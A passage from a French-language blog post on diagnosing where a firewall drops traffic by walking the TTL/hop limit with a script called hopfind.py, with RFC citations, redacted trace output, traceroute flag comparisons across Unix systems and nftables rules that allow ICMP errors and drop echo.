y a entre les deux.\nLe TTL est un budget de sauts, et chaque routeur vous doit un reçu L\u0026rsquo;en-tête IPv4 a un champ Time to Live de 8 bits. Le nom est un reste : il était spécifié en secondes, et plus rien ne le traite comme des secondes depuis des décennies. La RFC 1812 a tranché le débat en 1995 et a rendu la lecture en nombre de sauts normative :\nEach router (or other module) that handles a packet MUST decrement the TTL by at least one, even if the elapsed time was much less than a second. Since this is very often the case, the TTL is effectively a hop count limit on how far a datagram can propagate through the Internet.\nPuis la partie qui compte ici, tirée de la même section :\nIf the TTL is reduced to zero (or less), the packet MUST be discarded, and if the destination is not a multicast address the router MUST send an ICMP Time Exceeded message, Code 0 (TTL Exceeded in Transit) message to the source.\nC\u0026rsquo;est un MUST. Pas une politesse, pas une suggestion. La RFC 792 de 1981 disait seulement qu\u0026rsquo;une passerelle « may also notify the source host » ; treize ans plus tard l\u0026rsquo;exigence a été resserrée, et la RFC 1812 dit pourquoi en toutes lettres :\nICMP Time Exceeded messages are required because the traceroute diagnostic tool depends on them.\nIPv6 a laissé tomber le faux-semblant et a renommé le champ. La RFC 8200 l\u0026rsquo;appelle Hop Limit — « 8-bit unsigned integer. Decremented by 1 by each node that forwards the packet » — et le message d\u0026rsquo;expiration est devenu le type 3, code 0 d\u0026rsquo;ICMPv6, « hop limit exceeded in transit ».\nLisez ça comme un instrument plutôt que comme une règle et ça dit quelque chose d\u0026rsquo;utile. Chaque routeur du chemin est une balise que vous pouvez adresser par la distance. Posez la limite de sauts à 4 et le quatrième routeur s\u0026rsquo;identifie. Vous n\u0026rsquo;avez pas besoin de connaître la topologie, vous n\u0026rsquo;avez besoin d\u0026rsquo;accès à rien, et vous n\u0026rsquo;avez pas besoin de la coopération de l\u0026rsquo;opérateur. Il vous faut un paquet par saut.\nTraceroute fait exactement ça depuis la fin des années 1980. Ce qu\u0026rsquo;il fait mal, c\u0026rsquo;est justement la chose qui vous intéresse, parce que par défaut il sonde des ports UDP dans la plage 33434, un port que personne ne filtre et que personne ne sert, donc il vous renseigne sur un chemin que rien de réel n\u0026rsquo;emprunte jamais. Un traceroute propre vers une machine que vous ne joignez pas en TCP/445 prouve seulement que l\u0026rsquo;UDP/33434 y arrive. Ce n\u0026rsquo;était pas la question.\nAlors sondez le port qui vous intéresse.\nLisez ce qui est revenu, pas si quelque chose est revenu Avant de compter les sauts, regardez ce que fait le bout d\u0026rsquo;en face quand vous l\u0026rsquo;atteignez avec une limite de sauts normale. Il y a cinq réponses distinctes et les gens les réduisent régulièrement à une seule.\nCe qui revient Ce que ça veut dire Qui l\u0026rsquo;a envoyé SYN-ACK, la connexion s\u0026rsquo;ouvre le port est ouvert l\u0026rsquo;hôte, ou quelque chose qui répond pour lui RST TCP refusé activement l\u0026rsquo;hôte sans rien qui écoute, ou un équipement configuré pour rejeter ICMP 3/13, communication administrativement interdite un équipement refuse par politique et le dit cet équipement — son adresse source est votre réponse ICMP 3/1, 3/2, 3/3 hôte, protocole ou port injoignable le dernier routeur, ou l\u0026rsquo;hôte rien du tout quelqu\u0026rsquo;un jette en silence inconnu, alors allez le mesurer La troisième ligne est celle pour laquelle il vaut la peine de changer ses habitudes. Quand un pare-feu est configuré pour rejeter plutôt que jeter, il met sa propre adresse dans le champ source de l\u0026rsquo;ICMP et vous livre le coupable gratuitement. Sur Linux, c\u0026rsquo;est ce que produit nft ... reject with icmpx admin-prohibited, et ce que iptables -j REJECT --reject-with icmp-admin-prohibited a toujours produit. La plupart des outils le jettent et affichent « filtré ». nmap --reason vous le montrera. Le script plus bas aussi.\nLes lignes deux et cinq sont l\u0026rsquo;échec intéressant. Un rejet silencieux est une décision de politique de ne rien vous dire, et comme c\u0026rsquo;est le défaut sur quasiment tous les pare-feu commerciaux, c\u0026rsquo;est celui que vous rencontrerez vraiment. Attendez-vous au silence.\nLa ligne deux mérite la méfiance aussi. Un reset n\u0026rsquo;est pas la preuve que l\u0026rsquo;hôte l\u0026rsquo;a envoyé, et j\u0026rsquo;y reviendrai avec un exemple réel, parce que j\u0026rsquo;en ai trouvé un sur ma propre ligne en écrivant ceci.\nMarchez sur le port qui vous intéresse, deux fois La méthode, c\u0026rsquo;est deux passages et un diff. C\u0026rsquo;est tout.\nFaites monter la limite de sauts de 1 à 20 avec le protocole et le port exacts qui échouent, et notez quel routeur répond à chaque saut. Faites pareil avec quelque chose qui marche — idéalement le même hôte et un port qui s\u0026rsquo;ouvre. Le saut où les réponses s\u0026rsquo;arrêtent au premier passage et continuent au second est l\u0026rsquo;équipement qui vous jette. Le second passage vous donne son adresse. Pourquoi les réponses s\u0026rsquo;arrêtent au lieu de changer : un routeur applique sa liste d\u0026rsquo;accès entrante avant de faire quoi que ce soit d\u0026rsquo;autre du paquet, donc si la politique dit « jeter », le paquet est parti avant que le chemin d\u0026rsquo;acheminement ne regarde la limite de sauts, aucun Time Exceeded n\u0026rsquo;est produit, et l\u0026rsquo;équipement ne signe jamais ce qu\u0026rsquo;il a fait. À ce titre, le silence commence au saut fautif, pas après lui.\nJ\u0026rsquo;ai écrit un petit outil pour la marche, parce qu\u0026rsquo;aucun des outils natifs ne le fait de façon portable. Il pose IP_TTL (ou IPV6_UNICAST_HOPS) sur un socket ordinaire, se connecte, et relit l\u0026rsquo;erreur ICMP. Sur Linux, IP_RECVERR rapporte cette erreur sur le socket même qui l\u0026rsquo;a provoquée, ce qui veut dire que le tout tourne sans privilèges — pas de root, pas de sockets bruts, pas de capacités. Sur macOS, les BSD et Solaris, le noyau ne vous remet pas l\u0026rsquo;ICMP de cette façon, alors il se rabat sur un socket brut et demande root.\n\u0026#8615; hopfind.py — le marcheur de TTL hopfind.py · 11 kB C\u0026rsquo;est 279 lignes de bibliothèque standard et rien d\u0026rsquo;autre, et le tout est imprimé à la fin de ce billet si vous préférez le lire que le télécharger.\npython3 hopfind.py example.net 445 # the port under suspicion python3 hopfind.py example.net 443 # the reference run python3 hopfind.py example.net 53 --proto udp python3 hopfind.py 2001:db8::1 443 -6 Utilisez le même protocole pour les deux passages. Comparer une trace TCP à une trace ICMP, c\u0026rsquo;est comparer deux chemins, parce que la répartition de charge hache le quintuplet et que l\u0026rsquo;ICMP n\u0026rsquo;a pas de ports à hacher. Même hôte, même protocole, port différent : voilà la comparaison honnête.\nTout ce qui suit est de la sortie réelle de ma propre ligne le 28 août 2026, lancée en utilisateur non privilégié sur Fedora. Chaque adresse dedans a été réécrite dans les plages de documentation — RFC 5737 pour IPv4, RFC 3849 pour IPv6, avec l\u0026rsquo;unique identifiant d\u0026rsquo;interface modifié lui aussi. Donc 198.51.100.x est mon propre routeur et mon FAI, 203.0.113.x est du transit et du peering, 192.0.2.x est le réseau distant, et 2001:db8::/32 est tout le chemin IPv6. La structure est préservée partout : mêmes frontières de préfixe, mêmes formes de partie hôte, même nombre de réseaux distincts. Les numéros de sauts, les temps, les types ICMP et le saut qui s\u0026rsquo;est tu sont exactement tels que mesurés.\nUn hôte, trois ports, trois défauts différents Même destination partout : une machine sur l\u0026rsquo;internet public, à quatorze sauts, avec le 443 ouvert. D\u0026rsquo;abord le passage de référence.\n$ python3 hopfind.py 192.0.2.4 443 --max 15 walking to 192.0.2.4 TCP/443 hop limit 1-15 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 28.8 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.153 6.3 ms ICMP 11/0 time exceeded in-transit 5 * 6 203.0.113.240 16.5 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.188 16.5 ms ICMP 11/0 time exceeded in-transit 8 203.0.113.185 16.5 ms ICMP 11/0 time exceeded in-transit 9 203.0.113.15 15.6 ms ICMP 11/0 time exceeded in-transit 10 203.0.113.125 16.1 ms ICMP 11/0 time exceeded in-transit 11 192.0.2.31 26.6 ms ICMP 11/0 time exceeded in-transit 12 * 13 * 14 192.0.2.4 19.5 ms connected Verdict: TCP/443 is open. It answered at hop 14. Notez les sauts 3, 5, 12 et 13. Quatre routeurs sur un chemin qui marche manifestement n\u0026rsquo;ont rien dit, parce que beaucoup d\u0026rsquo;équipements sont configurés pour ne pas produire d\u0026rsquo;ICMP pour eux-mêmes, ou le limitent en débit très fort. Une étoile n\u0026rsquo;est pas la preuve d\u0026rsquo;un pare-feu. Retenez ça si rien d\u0026rsquo;autre. Le signal n\u0026rsquo;est jamais la présence d\u0026rsquo;étoiles dans un seul passage ; c\u0026rsquo;est l\u0026rsquo;endroit où deux passages cessent d\u0026rsquo;être d\u0026rsquo;accord.\nMaintenant le même hôte sur le 445, qui expire d\u0026rsquo;ici.\n$ python3 hopfind.py 192.0.2.4 445 --max 15 walking to 192.0.2.4 TCP/445 hop limit 1-15 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 8.0 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.153 6.4 ms ICMP 11/0 time exceeded in-transit 5 203.0.113.76 5.6 ms ICMP 11/0 time exceeded in-transit 6 203.0.113.240 15.9 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.188 15.8 ms ICMP 11/0 time exceeded in-transit 8 203.0.113.185 16.6 ms ICMP 11/0 time exceeded in-transit 9 203.0.113.15 15.9 ms ICMP 11/0 time exceeded in-transit 10 203.0.113.125 15.0 ms ICMP 11/0 time exceeded in-transit 11 * 12 * 13 * 14 * 15 * Verdict: answers stop after hop 10 (203.0.113.125). Whatever swallows TCP/445 is hop 11. Walk a port that works and read off the address at hop 11. Le saut 11 a répondu au passage 443 en 26,6 ms et n\u0026rsquo;a rien dit du tout au passage 445. Même boîte, même chemin, les dix mêmes routeurs devant. Recoupez avec le passage qui marche et le saut 11 a un nom : 192.0.2.31. Voilà l\u0026rsquo;équipement qui jette SMB, à trois sauts de la destination et à huit sauts au-delà du bord de mon opérateur. Pas le mien, et pas celui de mon FAI.\nLe saut 5 fait la démonstration sur les étoiles dans l\u0026rsquo;autre sens. Il était une étoile au passage 443 et a répondu au passage 445 — l\u0026rsquo;inverse du défaut. Ça peut être de la limitation de débit ICMP, ou ça peut être les deux passages qui prennent des chemins différents à travers un répartiteur de charge. Je ne sais pas lequel, et vous non plus. Répétez les deux passages avant de croire l\u0026rsquo;un ou l\u0026rsquo;autre.\nDeux marches de limite de sauts vers le même hôte, et le saut où elles cessent d'être d'accord Deux marches vers le même hôte, et le saut où elles cessent d'être d'accord Une sonde par limite de sauts. Une cellule ombrée veut dire que ce routeur a renvoyé ICMP Time Exceeded et s'est nommé. le routeur a répondu rien n'est revenu silencieux à partir d'ici 1 2 3 4 5 6 7 8 9 10 11 12 13 14 limite de sauts posée sur la sonde TCP/443 référence, il s'ouvre \u0026#8226; \u0026#8226; * \u0026#8226; * \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; * * \u0026#10003; s'ouvre TCP/445 à l'essai, il expire \u0026#8226; \u0026#8226; * \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; \u0026#8226; * * * * le saut 11 a répondu à une marche et pas à l'autre Les sauts 3, 5, 12 et 13 n'ont rien dit sur un chemin qui marche manifestement, donc une étoile seule ne veut rien dire. Le saut 11 a répondu à la marche de référence en 26,6\u0026#160;ms et n'a jamais répondu à la marche de test. C'est la frontière, et la marche de référence est ce qui lui donne une adresse\u0026#160;:\u0026#160;192.0.2.31. Les deux mêmes passages, côte à côte. La seule cellule qui compte est le saut 11, et ce qui compte à son sujet est le désaccord : il a répondu à un passage et pas à l\u0026rsquo;autre. Puis le port 25. Celui-là m\u0026rsquo;a arrêté.\n$ python3 hopfind.py 192.0.2.4 25 --max 15 walking to 192.0.2.4 TCP/25 hop limit 1-15 1 192.0.2.4 0.4 ms TCP reset Verdict: a reset came back to a probe with a hop limit of 1. Nothing more than one hop away can have sent it, so check the reply TTL before you believe the host did. Une limite de sauts de 1 veut dire que le paquet est mort à mon propre routeur. Il a fait un saut. Il ne peut pas en avoir fait quatorze. Et pourtant un reset TCP est revenu en 0,4 ms avec l\u0026rsquo;adresse de la destination dessus, et mon noyau a docilement rapporté « connexion refusée ». Sans la limite de sauts posée, j\u0026rsquo;aurais lu ça comme « le bout d\u0026rsquo;en face n\u0026rsquo;a pas de serveur de messagerie » et j\u0026rsquo;aurais fermé le ticket.\nQuelque chose à un saut forge des resets pour le SMTP sortant et les signe avec l\u0026rsquo;adresse de la destination. Bloquer le 25 sortant est une chose parfaitement ordinaire pour un routeur grand public ou un FAI, et le faire par un reset plutôt qu\u0026rsquo;un rejet est sans doute la version polie, mais le reset porte l\u0026rsquo;adresse de quelqu\u0026rsquo;un d\u0026rsquo;autre et je n\u0026rsquo;avais aucune idée que la mienne le faisait. C\u0026rsquo;est la limite de sauts qui l\u0026rsquo;a attrapé, et rien d\u0026rsquo;autre dans la réponse ne l\u0026rsquo;aurait fait.\nÀ un près : où siège la liste d\u0026rsquo;accès dans le pipeline Le verdict ci-dessus dit que le jeteur est le saut 11 parce que les réponses se sont arrêtées après le saut 10. Attention à cette arithmétique, parce qu\u0026rsquo;elle dépend de l\u0026rsquo;ordre dans lequel l\u0026rsquo;équipement fautif fait deux travaux.\nLa plupart des équipements appliquent la politique entrante d\u0026rsquo;abord et le contrôle de la limite de sauts ensuite. Le refus frappe, le paquet est jeté, et aucun Time Exceeded n\u0026rsquo;est jamais produit, donc l\u0026rsquo;équipement n\u0026rsquo;apparaît jamais et le silence commence à son propre numéro de saut. C\u0026rsquo;est le cas ci-dessus. C\u0026rsquo;est aussi le cas courant.\nCertaines plateformes traitent l\u0026rsquo;expiration de la limite de sauts dans le chemin rapide, avant l\u0026rsquo;évaluation de la politique. Là, l\u0026rsquo;équipement répond à la sonde qui lui est adressée et ne jette que les sondes visant au-delà de lui, donc il apparaît normalement et le silence commence un saut plus loin.\nPourquoi le saut fautif n'apparaît d'habitude pas : la politique est évaluée avant le contrôle de la limite de sauts À l'intérieur du saut qui vous jette, l'ordre de deux contrôles décide de ce que vous voyez Votre sonde arrive avec un saut restant sur son budget, et elle correspond à une règle qui dit « refuser ». Politique d'abord \u0026#8212; presque tous les pare-feu, et chaque cas mesuré dans ce billet le routeur au saut N sonde entrante politique entrante contrôle limite de sauts acheminer jetée avant que quoi que ce soit ne regarde la limite de sauts Aucun ICMP n'est produit, donc ce routeur ne signe jamais le rejet. Votre marche se tait\u0026#160;au\u0026#160;saut\u0026#160;N. Expiration d'abord \u0026#8212; certaines plateformes la traitent dans le chemin rapide le routeur au saut N sonde entrante contrôle limite de sauts politique entrante acheminer expirée, donc ICMP 11/0 repart avec l'adresse de ce routeur Il répond pour lui-même et n'avale que les sondes visant plus loin. Votre marche se tait à partir du saut\u0026#160;N+1. Pourquoi le saut qui jette reste d\u0026rsquo;habitude invisible. Sur presque tous les pare-feu, le refus est évalué en premier, donc la sonde est partie avant que le chemin d\u0026rsquo;acheminement ne remarque que la limite de sauts a expiré et aucun ICMP n\u0026rsquo;est jamais produit. Sur les équipements qui traitent l\u0026rsquo;expiration dans le chemin rapide, le même équipement répond à la sonde qui lui est adressée et n\u0026rsquo;avale que celles visant plus loin. La lecture honnête de « les réponses s\u0026rsquo;arrêtent après le saut N » est donc : le jeteur est le saut N+1 s\u0026rsquo;il a jeté votre sonde avant de remarquer que le budget était épuisé, ou le saut N lui-même s\u0026rsquo;il a répondu à la sonde qui lui était adressée et avalé tout ce qui visait plus loin. Deux équipements voisins, et le passage qui marche les nomme tous les deux. Citez les adresses, pas le numéro de saut — un numéro de saut ne veut rien dire pour la personne qui lit votre ticket, qui compte depuis un autre endroit.\nLe TTL de la réponse vous dit qui a vraiment répondu Le reset SMTP ci-dessus a été attrapé par la limite de sauts à l\u0026rsquo;aller. Il y a un second contrôle, indépendant, disponible dans chaque réponse qui revient, et il ne coûte rien.\nLes valeurs initiales de TTL ne sont pas normalisées, mais en pratique il y en a trois :\nPart de Émetteur typique 64 Linux, macOS, les BSD, illumos, la plupart des hôtes 255 Cisco IOS, Junos, Solaris, le trafic propre de la plupart des équipements réseau 128 le Fisher-Price OS (Windows), dont vous avez encore besoin pour lire une réponse issue de l\u0026rsquo;un d\u0026rsquo;eux Soustrayez le TTL reçu de la valeur immédiatement au-dessus et vous avez le nombre de sauts au retour. Une réponse qui arrive avec un TTL de 50 est partie de 64 et a fait 14 sauts. Une qui arrive à 250 est partie de 255 et en a fait 5. ping l\u0026rsquo;affiche sans qu\u0026rsquo;on le lui demande :\nping -c1 192.0.2.4 # ttl=50 → 14 hops away tcpdump -n -v \u0026#39;icmp\u0026#39; # -v prints the ttl of every packet it shows Deux choses en découlent. Les deux sont gratuites.\nUne réponse dont le nombre de sauts au retour ne correspond pas aux autres réponses de l\u0026rsquo;hôte n\u0026rsquo;a pas été envoyée par l\u0026rsquo;hôte. Si une réponse d\u0026rsquo;écho d\u0026rsquo;un serveur revient de 14 sauts et que le RST sur le port 25 revient d\u0026rsquo;un saut, c\u0026rsquo;est un boîtier intermédiaire qui a écrit le RST. Même astuce que la section précédente, par l\u0026rsquo;autre bout, et ça marche même quand vous ne pouvez pas poser le TTL sortant.\nUne réponse partie de 255 vient d\u0026rsquo;un équipement réseau, pas d\u0026rsquo;un serveur. Utile quand vous cherchez à savoir si la chose qui vous rejette est l\u0026rsquo;hôte ou le routeur devant lui.\nPour voir le champ sur du TCP plutôt que de l\u0026rsquo;ICMP il vous faut une capture, et le filtre mérite d\u0026rsquo;être appris par cœur :\n# every hop-limit expiry coming back to you, IPv4 and IPv6 tcpdump -n -v \u0026#39;icmp[icmptype] == 11 or icmp6[icmp6type] == 3\u0026#39; # who is resetting you, and from how far tcpdump -n -v \u0026#39;tcp[tcpflags] \u0026amp; tcp-rst != 0\u0026#39; tcpdump affiche l\u0026rsquo;expiration comme ICMP time exceeded in-transit — la même formule que les normes, et le même événement que celui qui apparaît en « TTL expired in transit » sur les plateformes qui le formulent ainsi.\nLa même astuce avec les outils natifs, sur cinq Unix Si vous préférez ne pas lancer de script, les outils natifs feront l\u0026rsquo;essentiel. Ils sont simplement plus en désaccord entre eux que vous ne le penseriez. -P en particulier veut dire trois choses différentes selon le traceroute que vous tenez, et l\u0026rsquo;une d\u0026rsquo;elles ruinera votre test en silence.\nLinux (traceroute 2.1.x) macOS / FreeBSD OpenBSD NetBSD Solaris 11 Sondes TCP -T -P tcp inutilisable non non Sondes ICMP -I -I -I -I -I UDP vers un port fixe -U -p N -e -p N non non non port de destination -p N (constant pour TCP) -p N (s\u0026rsquo;incrémente sans -e) -p N (s\u0026rsquo;incrémente) -p N (s\u0026rsquo;incrémente) -p N (s\u0026rsquo;incrémente) ce que veut dire -P pas utilisé protocole de sonde protocole numérique, « will not work reliably for most protocols » pose DF et sonde le MTU du chemin pause entre sondes, en secondes demande des privilèges oui, pour -T et -I oui oui oui oui Chacun d\u0026rsquo;eux a besoin de sockets bruts, donc chacun a besoin de privilèges — même si macOS et les BSD livrent en général traceroute setuid root, donc vous n\u0026rsquo;aurez peut-être pas à taper sudo devant. Linux non, et Fedora non plus, ce qui est la moitié de la raison d\u0026rsquo;être du script ci-dessus.\nTrois pièges dans ce tableau, et j\u0026rsquo;ai vu les trois gâcher un après-midi.\nSur les BSD et macOS, -p est un port de base qui s\u0026rsquo;incrémente à chaque sonde. Donc traceroute -P tcp -p 445 host teste le 445, puis le 446, puis le 447, et au saut 10 vous posez une question sur un port dont personne n\u0026rsquo;a jamais entendu parler. Il vous faut -e en plus, que la page de manuel appelle le mode d\u0026rsquo;évasion de pare-feu et qui veut en fait juste dire « garde le port immobile » :\nsudo traceroute -P tcp -e -p 445 example.net # macOS, FreeBSD Sur Linux, -p tout court fait la même chose pour la méthode UDP par défaut et il vous faut -U -p pour un port UDP constant. Pour TCP, -T -p est déjà constant — la page de manuel est explicite : « for TCP and others specifies just the (constant) destination port to connect ».\nsudo traceroute -T -p 445 example.net # Linux sudo traceroute -U -p 53 example.net # Linux, UDP/53 specifically Sur Solaris et NetBSD il n\u0026rsquo;y a aucun moyen de fixer le port, et sur Solaris -P est une pause en secondes, donc une ligne de commande copiée depuis Linux s\u0026rsquo;exécutera sans erreur et ne mesurera rien de ce que vous avez demandé. Solaris n\u0026rsquo;a pas non plus de mode de sonde TCP. C\u0026rsquo;est le cas où vous voulez le script.\nRedox est le cas à part et mérite une phrase parce que j\u0026rsquo;attends la question. Toute sa boîte à outils réseau est netutils — dns, ifconfig, nc, ping, telnetd, wget. Pas de traceroute, pas de tcpdump, rien pour capturer. Si une machine Redox est un bout du problème, mesurez depuis l\u0026rsquo;autre bout et pointez la marche vers elle.\nmtr mérite aussi une mention, parce qu\u0026rsquo;il fait la partie « répéter et moyenner » que les tableaux ci-dessus vous font faire à la main :\nsudo mtr -T -P 445 --report --report-cycles 20 example.net Lancez ça contre le port qui échoue puis contre un qui marche, côte à côte. Même méthode, sortie plus jolie.\nRien de tout ça ne marche si quelqu\u0026rsquo;un bloque l\u0026rsquo;ICMP Chaque mesure de ce billet est faite d\u0026rsquo;erreurs ICMP qui me reviennent. Bloquez-les et tout le diagnostic s\u0026rsquo;éteint — et pas mal d\u0026rsquo;autres choses avec.\nBloquer l\u0026rsquo;ICMP en bloc est encore traité comme une posture de sécurité par endroits. Ça n\u0026rsquo;en est plus une défendable depuis les années 1990. Les attaques que c\u0026rsquo;est censé arrêter étaient le ping of death et le smurf, tous deux corrigés dans les piles plutôt qu\u0026rsquo;à la frontière, et tous deux corrigés avant la naissance de certains des ingénieurs qui répètent encore le conseil. Ce que le blocage global arrête aujourd\u0026rsquo;hui, c\u0026rsquo;est le diagnostic. Rien d\u0026rsquo;autre.\nLa RFC 1812 ne laisse pas de place à l\u0026rsquo;interprétation là-dessus : Time Exceeded est un MUST, et la norme dit que sa raison d\u0026rsquo;être est que traceroute en dépend. Jetez-le et vous avez cassé un outil que le document d\u0026rsquo;exigences des routeurs de l\u0026rsquo;internet nomme lui-même comme la justification de l\u0026rsquo;existence du message.\nLa découverte du MTU de chemin est celle qui coûte cher. Elle a besoin que l\u0026rsquo;ICMP 3/4, fragmentation needed, revienne à l\u0026rsquo;émetteur. Filtrez-le et vous obtenez le défaut que tout ingénieur réseau a poursuivi au moins une fois, celui où la poignée de main se termine, où les petits transferts marchent, et où tout ce qui porte un paquet de taille pleine se bloque pour toujours. SSH se connecte et scp cale. La page charge et l\u0026rsquo;image n\u0026rsquo;arrive jamais. Rien dans les journaux. Rien à greper.\nEn IPv6, ça cesse d\u0026rsquo;être une affaire de goût. La RFC 4890 §4.3.1 liste les messages qu\u0026rsquo;un pare-feu ne doit pas jeter :\nDestination Unreachable (Type 1) - All codes Packet Too Big (Type 2) Time Exceeded (Type 3) - Code 0 only Parameter Problem (Type 4) - Codes 1 and 2 only et sur Packet Too Big elle est franche sur la conséquence : « Effectively, parts of the Internet will become inaccessible. » Les routeurs IPv6 ne fragmentent pas. Si Packet Too Big ne peut pas atteindre l\u0026rsquo;émetteur, il n\u0026rsquo;y a pas de voie de récupération.\nLe contrôle est une limitation de débit, pas un rejet. Autorisez les types 3 et 11 en entrée, comptez-les, plafonnez-les à quelque chose comme cent par seconde, journalisez ce qui dépasse le plafond, et vous avez gardé le diagnostic, gardé la découverte du MTU de chemin en état de marche, et gardé chaque miette de la protection que la règle globale était censée apporter au départ. Restreindre la quantité que vous acceptez d\u0026rsquo;une chose est un contrôle. Refuser la totalité et appeler ça du durcissement, c\u0026rsquo;est juste refuser d\u0026rsquo;être mesuré.\nPour quiconque exploite un parc pour des clients : si la ligne de votre client jette les erreurs ICMP, vous lui avez retiré la capacité de prouver dans quel réseau se situe un défaut — et la vôtre avec. La prochaine fois qu\u0026rsquo;un défaut siégera entre deux opérateurs qui disent tous les deux être propres, ce sera la facture de la politique.\nSauf l\u0026rsquo;écho. Jetez-le. Tout ce qui précède parle des erreurs ICMP. L\u0026rsquo;écho est un animal différent, et c\u0026rsquo;est la seule partie du protocole que je retirerais du fil à la frontière.\nRegardez ce que la norme exige de lui. En IPv4, la RFC 792 dit d\u0026rsquo;une requête d\u0026rsquo;écho que « the data received in the echo message must be returned in the echo reply message ». IPv6 est plus franc encore — la RFC 4443 définit le champ comme « zero or more octets of arbitrary data » puis exige qu\u0026rsquo;il « MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message ».\nLisez ça en attaquant plutôt qu\u0026rsquo;en exploitant. La norme oblige chaque hôte de la planète à accepter un bloc d\u0026rsquo;octets que vous choisissez et à vous le rendre tel quel. Ce n\u0026rsquo;est pas un effet de bord. C\u0026rsquo;est un canal bidirectionnel, à charge utile arbitraire, imposé par la norme, qui circule sur un protocole que la plupart des pare-feu laissent passer sans inspecter et que la plupart des systèmes de journalisation enregistrent comme un compteur de paquets plutôt que comme du contenu.\nÇa fait trente ans qu\u0026rsquo;on bâtit des tunnels dessus. Loki l\u0026rsquo;a fait dans Phrack 49 en 1996. Ptunnel fera passer une session TCP entière dans du ping et est à un paquet de distance depuis deux décennies. Si votre politique de sortie est « bloquer tout, autoriser l\u0026rsquo;ICMP parce que l\u0026rsquo;équipe réseau en a besoin », vous n\u0026rsquo;avez pas de politique de sortie. Vous avez un VPN avec des étapes en plus, et le trafic sort en ayant l\u0026rsquo;air de quelqu\u0026rsquo;un qui teste si l\u0026rsquo;internet marche.\nLa RFC 4890 n\u0026rsquo;est pas d\u0026rsquo;accord avec moi, et il vaut mieux le dire franchement que de ne citer que la moitié qui m\u0026rsquo;arrange. Le §4.3.1 met Echo Request et Echo Response dans la même liste des messages à ne pas jeter que les erreurs. Puis lisez la justification donnée :\nFor Teredo tunneling [RFC4380] to IPv6 nodes on the site to be possible, it is essential that the connectivity checking messages are allowed through the firewall.\nLa raison invoquée pour garder l\u0026rsquo;écho ouvert, c\u0026rsquo;est que quelqu\u0026rsquo;un a besoin de bâtir un tunnel à travers votre pare-feu avec. C\u0026rsquo;est mon argument, écrit par les gens qui défendent le contraire.\nLa politique est donc étroite, pas globale :\n# transit rules. permit the errors, drop the ping ip protocol icmp icmp type { destination-unreachable, time-exceeded, parameter-problem } \\ limit rate 100/second accept ip protocol icmp icmp type { echo-request, echo-reply } drop ip6 nexthdr ipv6-icmp icmpv6 type { destination-unreachable, packet-too-big, \\ time-exceeded, parameter-problem } limit rate 100/second accept ip6 nexthdr ipv6-icmp icmpv6 type { echo-request, echo-reply } drop En IPv6, ne portez pas ce motif sur une chaîne lien-local ou hôte sans garder la découverte de voisins. Les types 133 à 137 — de nd-router-solicit à nd-redirect — sont la façon dont IPv6 fait le travail qu\u0026rsquo;ARP fait en IPv4. Jetez-les et le segment cesse de marcher en quelques minutes, et ça n\u0026rsquo;aura pas l\u0026rsquo;air d\u0026rsquo;un défaut de pare-feu. Filtrez l\u0026rsquo;écho à la frontière, pas sur le fil entre un hôte et son propre routeur.\nQu\u0026rsquo;est-ce que ça vous coûte ? ping à travers la frontière, et rien d\u0026rsquo;autre. Tout ce qui est dans ce billet continue de marcher, parce que pas une seule mesure ici n\u0026rsquo;envoie de requête d\u0026rsquo;écho. hopfind.py marche en TCP et en UDP et lit les erreurs qui reviennent ; traceroute -T et -U font pareil. La découverte du MTU de chemin a besoin de Packet Too Big, qui est une erreur. L\u0026rsquo;astuce du TTL inverse marche sur n\u0026rsquo;importe quelle réponse, et une poignée de main TCP vous en donnera une. La seule chose que vous perdez est l\u0026rsquo;outil le moins instructif de la boîte, et tout ce billet est un argument sur le fait que s\u0026rsquo;arrêter à ping est le problème de départ.\nMa propre ligne fait déjà exactement ça, même si je doute que ce soit voulu. ping vers ma passerelle par défaut donne 100 % de perte, et l\u0026rsquo;ICMP Time Exceeded de cette même passerelle revient en 0,3 ms — comme le montre chaque trace de ce billet. Écho fermé, erreurs ouvertes. Celui qui a livré ce micrologiciel a trouvé la bonne réponse, et je n\u0026rsquo;ai découvert qu\u0026rsquo;il l\u0026rsquo;avait fait qu\u0026rsquo;en allant regarder.\nLa même règle, écrite une seule fois Voici le défaut que je ne m\u0026rsquo;attendais pas à trouver chez moi. Un résolveur DNS public, parcouru en TCP/443 sur les deux familles, à quelques minutes d\u0026rsquo;intervalle.\n$ python3 hopfind.py 192.0.2.53 443 --max 10 walking to 192.0.2.53 TCP/443 hop limit 1-10 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * Verdict: nothing answered at all, not even the first hop. Rien du tout. Pas un seul saut. Mon propre routeur n\u0026rsquo;a même pas rapporté l\u0026rsquo;expiration qu\u0026rsquo;il a forcément produite, la même expiration qu\u0026rsquo;il a rapportée en 0,3 ms pour toutes les autres marches de ce billet — donc le rejet se produit au saut 1, avant même que le contrôle de la limite de sauts ne s\u0026rsquo;exécute, et le saut 1 est le mien.\nLe chemin va bien, ce que la même destination prouve en UDP :\n$ python3 hopfind.py 192.0.2.53 53 --proto udp --max 10 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 5.4 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.167 14.5 ms ICMP 11/0 time exceeded in-transit 5 203.0.113.50 6.3 ms ICMP 11/0 time exceeded in-transit 6 203.0.113.174 5.7 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.201 6.4 ms ICMP 11/0 time exceeded in-transit 8 * Sept sauts de réponses propres vers la même adresse. Ce n\u0026rsquo;est donc pas du routage et ce n\u0026rsquo;est pas la destination — quelque chose sur ma ligne jette le TCP vers cet hôte et laisse passer l\u0026rsquo;UDP.\nPuis le même résolveur, même port, en IPv6 :\n$ python3 hopfind.py 2001:db8:53::53 443 -6 --max 10 walking to 2001:db8:53::53 TCP/443 hop limit 1-10 1 2001:db8:1:ee:beef:abcd:fec0:2a30 0.5 ms ICMP 3/0 hop limit exceeded in-transit 2 2001:db8:1::15c 24.6 ms 